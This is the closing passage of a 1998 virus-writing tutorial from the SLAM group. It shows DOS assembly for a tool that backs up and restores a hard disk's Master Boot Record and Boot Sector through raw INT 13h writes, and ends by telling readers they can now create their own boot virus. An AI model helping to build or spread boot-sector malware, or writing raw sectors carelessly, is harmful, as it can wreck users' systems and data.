       int 21h
    exit:
       mov ax,4c00h                         ;and exit...
       int 21h

    read_save_all:
       push cs cs
       pop ds es                            ;es=ds=cs

       mov ah,3ch                           ;create a new file
       xor cx,cx                            ;normal file even
       lea dx,filename                      ;'bootpart.cap' is its name :)
       int 21h
       jnc r_continue
    r_error:
       mov ah,9                             ;error creating 'bootpart.cap'
       lea dx,createrr
       int 21h
       jmp exit
    r_continue:
       xchg bx,ax                           ;handle in BX

       mov dh,0                             ;read the Master Boot Record of 1st HDD
       call readsector

       mov ah,40h                           ;write it to our file
       lea dx,buffer
       mov cx,512
       int 21h
       jc r_error                           ;if error, exit

       mov dh,1                             ;read the Boot Sector of 1st HDD
       call readsector

       mov ah,40h                           ;write it to our file
       lea dx,buffer
       mov cx,512
       int 21h
       jc r_error                           ;if error, exit

       mov ah,3eh                           ;close the file
       int 21h
       jmp exit

    write_restore_all:
       push cs cs
       pop ds es                            ;es=ds=cs

       mov ax,3d00h                         ;open
       lea dx,filename                      ;'bootpart.cap'
       int 21h                              ;NOW! :)
       jnc w_continue
    w_error:
       mov ah,9
       lea dx,readerr                       ;error reading BOOTPART.CAP file
       int 21h
       jmp exit
    w_continue:
       xchg bx,ax                           ;handle in BX

       mov ah,3fh                           ;read the MBR from file in memory
       lea dx,buffer
       mov cx,512
       int 21h
       jc w_error

       mov dh,0                             ;write the MBR
       call writesector

       mov ah,3fh                           ;read the BS from file in memory
       lea dx,buffer
       mov cx,512
       int 21h
       jc w_error

       mov dh,1                             ;write the BS
       call writesector

       mov ah,3eh                           ;close the file
       int 21h
       jmp exit

    readsector:
    ;input: head number in DH
    ;output: buffer filled up with the read sector
      pusha                                 ;save all registers
      mov ah,2                              ;subfunction 02h=read sectors
      mov dl,80h                            ;80h=first hard disk
      xor ch,ch                             ;track (cylinder) number
      mov cl,1                              ;sector number
      mov al,1                              ;sector count
      lea bx,buffer                         ;address of our buffer
      int 13h
      popa                                  ;restore all registers
      ret

    writesector:
    ;input: head number in DH
    ;       buffer filled up with the sector you want to write
    ;output: nothing
      pusha                                 ;save all registers
      mov ah,3                              ;subfunction 03h=write sectors
      mov dl,80h                            ;80h=first hard disk
      xor ch,ch                             ;track (cylinder) number
      mov cl,1                              ;sector number
      mov al,1                              ;sector count
      lea bx,buffer                         ;address of our buffer
      int 13h
      popa                                  ;restore all registers
      ret

    createrr db 13,10,'Error creating BOOTPART.CAP!',13,10,'$'
    readerr  db 13,10,'Error reading BOOTPART.CAP!',13,10,'$'
    params   db 13,10,'MBR/BS backup, coded by Virtual Daemon [SLAM]',13,10
    db 'Use: <0> to save the MBR/BS of the 1st HDD to a file (bootpart.cap)',13,10
    db '     <1> to restore the previously saved MBR/BS from a file',13,10,'$'
    filename db 'bootpart.cap',0
    buffer   db 512 dup (?)
    end start
    --< cut here >--

       So hmm... compile the above code with TASM/TLINK and then run the program
    with the "0" parameter. It will create a file called BOOTPART.CAP that contains
    a copy of the Master Boot Record and the Boot Sector of the first hard disk
    installed in your system. Then create a "clean" system floppy disk and copy the
    program and the BOOTPART.CAP file on it. So, there you have it: an emergency
    diskette... just in case something goes wrong with your boot virus and you
    screw things up. Write protect the disk and store it in a safe place (away from
    smoke and water ;-). Also it would be quite wise to save the DiskEditor utility
    from the Norton Utilities package made by Symantec. You will only need two
    files: DISKEDIT.EXE and NLIB200.RTL. Save them on your disk and write protect
    the disk. The Disk Editor will be quite usefull if you want to see how does
    your sectors look like. Hell, i use it all the time... So should you!

    7.Thanks, greetings and other unimportant things :)
    ===================================================

       B00P... I think that I said all that I had to say... You should now be
    able to create your own boot virus. If you're still confused about what's
    going on here, then I guess I really screwed things up... :-/ Oh well, let's
    just hope I didn't.

       Thanks goes out to CyberYoda/SLAM and to Trigger/SLAM for giving me advices
    when I needed 'em. (Hey Yoda, this wouldn't had been so BIG if it weren't for
    you man! :).

       Best regards to: all the SLAM members, Unknown, IndianOwl, Pawk, Int13h,
    to all the regulars of #vir and to all my other friends from the scene.

             This is the end,
             Beautiful friend.
    ---= Virtual Daemon / SLAM 1998 =---